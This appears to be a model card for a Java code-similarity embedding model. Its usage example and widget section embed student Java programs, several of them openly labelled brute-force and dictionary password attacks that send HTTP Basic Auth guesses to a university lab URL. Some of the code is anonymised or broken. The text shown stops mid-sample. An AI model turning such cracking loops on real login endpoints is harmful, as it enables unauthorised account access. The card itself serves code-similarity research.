Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
Generated from Trainer
dataset_size:33411
loss:SoftmaxLoss
text-embeddings-inference
Instructions to use buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-NoEval with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-NoEval with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-NoEval") sentences = [ "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n private HttpURLConnection connection ;\n private int stopTime = 0;\n private int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n }\n\n public static void main (String args[])\n {\n BruteForce bf = new BruteForce();\n }\n \n public void threeLetters()\n {\n String s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n }\n }\n }\n }\n \n public void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n }\n }\n }\n\n \n public void decision(String s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n runTime = stopTime - startTime;\n System.out.println(\"***************************************\");\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the Web site: \");\n displayContent(s1);\n System.out.println(\"\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\\nNumber of attempts: \" + count);\n System.out.println();\n\n System.exit(0);\n }\n }\n \n \n public int find(String s1)\n {\n int responseCode = 0;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n }catch (Exception e)\n {\n System.out.println(e.getMessage());\n }\n return responseCode;\n }\n\n \n public void displayContent(String pw)\n {\n BufferedReader bw = null ;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream stream = (InputStream)(connection.getContent());\n if (stream != null)\n {\n InputStreamReader reader = new InputStreamReader (stream);\n bw = new BufferedReader (reader);\n String line;\n\n while ((line = bw.readLine()) != null)\n {\n System.out.println(line);\n }\n }\n }\n catch (IOException e)\n {\n System.out.println(e.getMessage());\n }\n }\n}\n\n\n\n\n", "\nimport java.io.*;\nimport java.net.Socket;\nimport java.util.*;\n\npublic class Email\n{\n private String hello;\n private String mailFrom=\"\";\n private String mailTo=\"\";\n private String mailData=\"\";\n \n private String subject=\"\";\n private String content=\"\";\n private String follows=\"\";\n private String changeContent=\"\";\n private String stop=\"\";\n private String end=\"\";\n private String line=\"\";\n private InputStream is;\n private BufferedReader bf;\n private OutputStream os;\n private PrintWriter pw;\n public Email(Vector change) throws Exception\n {\n hello= \"HELO mail.rmit.edu.\";\n mailFrom = \"MAIL FROM: @cs.rmit.edu.\";\n mailTo = \"RCPT : @cs.rmit.edu.\";\n mailData = \"DATA\";\n subject=\"Subject: Some changes occur\";\n content=\" is some changes the : http://www.cs.rmit.edu./students/\";\n follows=\"The changes as follows:\";\n for(int i=0;i<change.size();i++)\n changeContent+=change.elementAt(i).toString()+\"\\r\\n\";\n stop =\"\\r\\n.\";\n end=\"QUIT\";\n }\n public void send() throws Exception\n {\n Socket sk = new Socket(\"mail.cs.rmit.edu.\",25);\n is= sk.getInputStream();\n os = sk.getOutputStream();\n pw = new PrintWriter(new OutputStreamWriter(os));\n pw.println(hello);\n pw.println(mailFrom);\n pw.println(mailTo);\n pw.println(mailData);\n pw.println();\n pw.println(subject);\n pw.println(content);\n pw.println(follows);\n pw.println(changeContent);\n pw.println(stop);\n pw.println(end);\n pw.flush();\n pw.get();\n \n }\n}", "\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class Dictionary\n{\n private String userPassword;\n private static int counter;\n\n\n\n\n\n public Dictionary(String username)\n {\n String user;\n String password;\n counter = 0;\n user = username;\n\n try\n {\n FileReader fr = new FileReader( \"/usr/share/lib/dict/words\" );\n BufferedReader bf = new BufferedReader( fr );\n\n while ((password = bf.readLine()) != null)\n {\n userPassword = user + \":\" + password;\n\n System.out.print(\".\");\n\n if (password.length() == 3)\n if (doEncoding(userPassword)== true)\n {\n System.out.println(password);\n return;\n }\n\n counter++;\n }\n }\n catch ( IOException ioe )\n {\n System.err.println( ioe.toString() );\n }\n }\n\n\n\n\n private boolean doEncoding(String userPassword)\n {\n String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());\n return doAttempt(encoding);\n }\n\n\n\n\n\n private boolean doAttempt (String encoding)\n {\n\n try\n {\n URL url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n URLConnection uc = url.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\n uc.setRequestProperty (\"Get\", \"/SEC/2/ \" + \"HTTP/1.1\");\n uc.setRequestProperty (\"Host\", \"sec-crack.cs.rmit.edu.\");\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n return uc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\");\n }\n catch (MalformedURLException e)\n {\n System.out.println (\"Invalid URL\");\n }\n catch (IOException e)\n {\n System.out.println (e.toString() );\n }\n\n return false;\n }\n\n\n\n\n\n public static void main(String args[])\n {\n Date sdate = new Date();\n System.out.print(\"Starting the Ditionary Attack at:\" + sdate + \"\\n\");\n\n Dictionary bf = new Dictionary(args[0]);\n\n Date edate = new Date();\n System.out.print(\"Ditionary Attack ends at:\" + sdate + \"\\n\");\n System.out.println(\"Time taken by Dictionary is : \" + (edate.getTime() - sdate.getTime())/1000 + \" seconds \\n\");\n System.out.print(\"Attempts in this session:\" + counter + \"\\n\");\n\n }\n}\n\n\n\n\n", "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n URL yahoo = new URL(urlString); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"passord: \" + passwd);\n returnval = 1;\n }\n\t in.close();\n }catch(Exception e){ returnval = 0;}\n return returnval;\n }\n\n public static void main(String argv[]) { \n\n String[] val = \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n }\n\n } \n} \n\n" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
| tags: | |
| - sentence-transformers | |
| - sentence-similarity | |
| - feature-extraction | |
| - generated_from_trainer | |
| - dataset_size:33411 | |
| - loss:SoftmaxLoss | |
| base_model: microsoft/unixcoder-base-unimodal | |
| widget: | |
| - source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\ | |
| import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\ | |
| \ URL url;\n private HttpURLConnection connection ;\n private int stopTime\ | |
| \ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\ | |
| \ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \ | |
| \ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\ | |
| \ }\n\n public static void main (String args[])\n {\n BruteForce bf\ | |
| \ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ | |
| \ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ | |
| \ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ | |
| \ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ | |
| \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ | |
| \ + i2));\n decision(s1);\n count++;\n\n \ | |
| \ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ | |
| \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ | |
| \ decision(s1);\n count++;\n\n s1 =\ | |
| \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ | |
| \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ | |
| \ decision(s1);\n count++;\n\n s1 =\ | |
| \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ | |
| \ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ | |
| \ decision(s1);\n count++;\n\n s1 =\ | |
| \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ | |
| \ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ | |
| \ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ | |
| \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ | |
| \ + i2));\n decision(s1);\n count++;\n\n \ | |
| \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ | |
| \ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ | |
| \ decision(s1);\n count++;\n\n s1 =\ | |
| \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ | |
| \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ | |
| \ count++;\n }\n }\n }\n }\n \n public\ | |
| \ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ | |
| \ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ | |
| \ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ | |
| \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ | |
| \ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ | |
| \ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ | |
| \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ | |
| \ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ | |
| \ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ | |
| \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ | |
| \ count++;\n }\n }\n }\n\n \n public void decision(String\ | |
| \ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ | |
| \ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ | |
| );\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ | |
| \\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ | |
| \ Web site: \");\n displayContent(s1);\n System.out.println(\"\ | |
| \\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ | |
| \\nNumber of attempts: \" + count);\n System.out.println();\n\n \ | |
| \ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ | |
| \ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ | |
| http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ | |
| \n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ | |
| \" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ | |
| \ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ | |
| \ }\n return responseCode;\n }\n\n \n public void displayContent(String\ | |
| \ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ | |
| \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ | |
| \ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ | |
| Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ | |
| \ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ | |
| \ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ | |
| \ bw = new BufferedReader (reader);\n String line;\n\n\ | |
| \ while ((line = bw.readLine()) != null)\n {\n \ | |
| \ System.out.println(line);\n }\n }\n }\n \ | |
| \ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ | |
| \ }\n }\n}\n\n\n\n\n" | |
| sentences: | |
| - "\nimport java.io.*;\nimport java.net.Socket;\nimport java.util.*;\n\npublic class\ | |
| \ Email\n{\n private String hello;\n private String mailFrom=\"\";\n \ | |
| \ private String mailTo=\"\";\n private String mailData=\"\";\n \n\ | |
| \ private String subject=\"\";\n private String content=\"\";\n private\ | |
| \ String follows=\"\";\n private String changeContent=\"\";\n private\ | |
| \ String stop=\"\";\n private String end=\"\";\n private String line=\"\ | |
| \";\n private InputStream is;\n private BufferedReader bf;\n private\ | |
| \ OutputStream os;\n private PrintWriter pw;\n public Email(Vector change)\ | |
| \ throws Exception\n {\n hello= \"HELO mail.rmit.edu.\";\n mailFrom\ | |
| \ = \"MAIL FROM: @cs.rmit.edu.\";\n mailTo = \"RCPT : @cs.rmit.edu.\";\n\ | |
| \ mailData = \"DATA\";\n subject=\"Subject: Some changes occur\";\n\ | |
| \ content=\" is some changes the : http://www.cs.rmit.edu./students/\";\n\ | |
| \ follows=\"The changes as follows:\";\n for(int i=0;i<change.size();i++)\n\ | |
| \ changeContent+=change.elementAt(i).toString()+\"\\r\\n\";\n stop\ | |
| \ =\"\\r\\n.\";\n end=\"QUIT\";\n }\n public void send() throws Exception\n\ | |
| \ {\n Socket sk = new Socket(\"mail.cs.rmit.edu.\",25);\n is= sk.getInputStream();\n\ | |
| \ os = sk.getOutputStream();\n pw = new PrintWriter(new OutputStreamWriter(os));\n\ | |
| \ pw.println(hello);\n pw.println(mailFrom);\n pw.println(mailTo);\n\ | |
| \ pw.println(mailData);\n pw.println();\n pw.println(subject);\n\ | |
| \ pw.println(content);\n pw.println(follows);\n pw.println(changeContent);\n\ | |
| \ pw.println(stop);\n pw.println(end);\n pw.flush();\n pw.get();\n\ | |
| \ \n }\n}" | |
| - "\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.util.*;\n\ | |
| import java.net.*;\n\npublic class Dictionary\n{\n private String userPassword;\n\ | |
| \ private static int counter;\n\n\n\n\n\n public Dictionary(String username)\n\ | |
| \ {\n String user;\n String password;\n counter = 0;\n user = username;\n\ | |
| \n try\n {\n FileReader fr = new FileReader( \"/usr/share/lib/dict/words\"\ | |
| \ );\n BufferedReader bf = new BufferedReader( fr );\n\n \ | |
| \ while ((password = bf.readLine()) != null)\n {\n \ | |
| \ userPassword = user + \":\" + password;\n\n System.out.print(\"\ | |
| .\");\n\n if (password.length() == 3)\n \ | |
| \ if (doEncoding(userPassword)== true)\n {\n \ | |
| \ System.out.println(password);\n \ | |
| \ return;\n }\n\n counter++;\n\ | |
| \ }\n }\n catch ( IOException ioe )\n \ | |
| \ {\n System.err.println( ioe.toString() );\n }\n }\n\n\ | |
| \n\n\n private boolean doEncoding(String userPassword)\n {\n String\ | |
| \ encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());\n \ | |
| \ return doAttempt(encoding);\n }\n\n\n\n\n\n private boolean doAttempt\ | |
| \ (String encoding)\n {\n\n try\n {\n URL url = new URL (\"\ | |
| http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n URLConnection uc = url.openConnection();\n\ | |
| \ uc.setDoInput(true);\n uc.setDoOutput(true);\n\n uc.setRequestProperty\ | |
| \ (\"Get\", \"/SEC/2/ \" + \"HTTP/1.1\");\n uc.setRequestProperty (\"\ | |
| Host\", \"sec-crack.cs.rmit.edu.\");\n uc.setRequestProperty (\"Authorization\"\ | |
| , \" \" + encoding);\n\n return uc.getHeaderField(0).trim().equalsIgnoreCase(\"\ | |
| HTTP/1.1 200 OK\");\n }\n catch (MalformedURLException e)\n \ | |
| \ {\n System.out.println (\"Invalid URL\");\n }\n catch (IOException\ | |
| \ e)\n {\n System.out.println (e.toString() );\n }\n\n \ | |
| \ return false;\n }\n\n\n\n\n\n public static void main(String args[])\n\ | |
| \ {\n Date sdate = new Date();\n System.out.print(\"Starting the Ditionary\ | |
| \ Attack at:\" + sdate + \"\\n\");\n\n Dictionary bf = new Dictionary(args[0]);\n\ | |
| \n Date edate = new Date();\n System.out.print(\"Ditionary Attack ends\ | |
| \ at:\" + sdate + \"\\n\");\n System.out.println(\"Time taken by Dictionary\ | |
| \ is : \" + (edate.getTime() - sdate.getTime())/1000 + \" seconds \\n\");\n \ | |
| \ System.out.print(\"Attempts in this session:\" + counter + \"\\n\");\n\n\ | |
| \ }\n}\n\n\n\n\n" | |
| - "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ | |
| \ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\ | |
| \ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\ | |
| \ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\ | |
| \n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \ | |
| \ URL yahoo = new URL(urlString); \n BufferedReader in =\ | |
| \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ | |
| \ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\ | |
| \t System.out.println(inputLine);\n\t System.out.println(\"passord:\ | |
| \ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\ | |
| \ }catch(Exception e){ returnval = 0;}\n return returnval;\n \ | |
| \ }\n\n public static void main(String argv[]) { \n\n String[] val =\ | |
| \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ | |
| m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ | |
| z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ | |
| M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ | |
| Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\ | |
| \ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\ | |
| \ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ | |
| ; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \ | |
| \ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ | |
| \ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\ | |
| \n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\ | |
| \ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\ | |
| \ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\ | |
| \ if (retval > 0) {\n System.exit(0);\n }\n \ | |
| \ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \ | |
| \ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\ | |
| \ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\ | |
| \ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ | |
| \ \n if (retval > 0) {\n System.exit(0);\n \ | |
| \ }\n }\n }\n }\n\n } \n} \n\n" | |
| - source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\ | |
| public class WatchDog\n{\n\n \n public static void main(String args[])throws\ | |
| \ Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n\ | |
| \ {\n \n\n String s1[] = {\"/usr/local//tcsh\", \"-c\"\ | |
| , \"mailx -s \\\"Part 2-Assignment2 \\\" < change.html\"};\n String\ | |
| \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\ | |
| };\n String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ | |
| \ predir\"};\n String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\ | |
| \ postdir\"};\n String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ | |
| \ postdir\"};\n String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\ | |
| \ copy2 > diff.html\"};\n\n\n Process p = Runtime.getRuntime().exec(\"\ | |
| mkdir predir\");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec(\"\ | |
| mkdir postdir\");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec(\"\ | |
| wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p1.waitFor();\n\ | |
| \n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n\ | |
| \ Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\ | |
| \n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec(\"\ | |
| wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p3.waitFor();\n\ | |
| \n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n\ | |
| \ Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\ | |
| \n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n\ | |
| \ DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\ | |
| \ p4.waitFor();\n \n System.out.println(\"The\ | |
| \ WatchDog - Returns 0 if change else 1\");\n System.out.println(\"\ | |
| Value :\" + p4.exitValue());\n try\n {\n \ | |
| \ while ((str = inp1.readLine()) != null)\n {\n \ | |
| \ System.out.println(str);\n }\n }\n \ | |
| \ catch (IOException e)\n {\n System.exit(0);\n \ | |
| \ }\n\n }\n catch(FileNotFoundException e )\n \ | |
| \ {\n e.printStackTrace();\n }\n\n BufferedReader\ | |
| \ in = new BufferedReader(new FileReader(\"change.html\"));\n \n \ | |
| \ if (in.readLine() != null)\n {\n\n try\n {\n\ | |
| \ String str1;\n p5 = Runtime.getRuntime().exec(s1);\n \ | |
| \ DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\ | |
| \ p5.waitFor();\n try\n {\n while\ | |
| \ ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n\ | |
| \ }\n }\n catch (IOException e1)\n \ | |
| \ {\n System.exit(0);\n }\n\n }\n \ | |
| \ catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n\ | |
| \ }\n\n }\n }\n }\n}\n\n" | |
| sentences: | |
| - "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\ | |
| public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\ | |
| \ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\ | |
| ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\ | |
| wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\ | |
| \ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \ | |
| \ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\ | |
| \" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\ | |
| \ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\ | |
| wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\ | |
| \ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\ | |
| \ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\ | |
| \ if (newin.readLine() != null){\n System.out.println(\"\ | |
| Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \ | |
| \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \ | |
| \ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ | |
| \ }\n\n }\n\n}" | |
| - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\ | |
| public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\ | |
| \ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \ | |
| \ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\ | |
| \ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\ | |
| \ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\ | |
| \\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\ | |
| \\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \ | |
| \ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\ | |
| \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\ | |
| :\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \ | |
| \ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ | |
| \n while((line=bf.readLine())!=null)\n {\n flag=1;\n \ | |
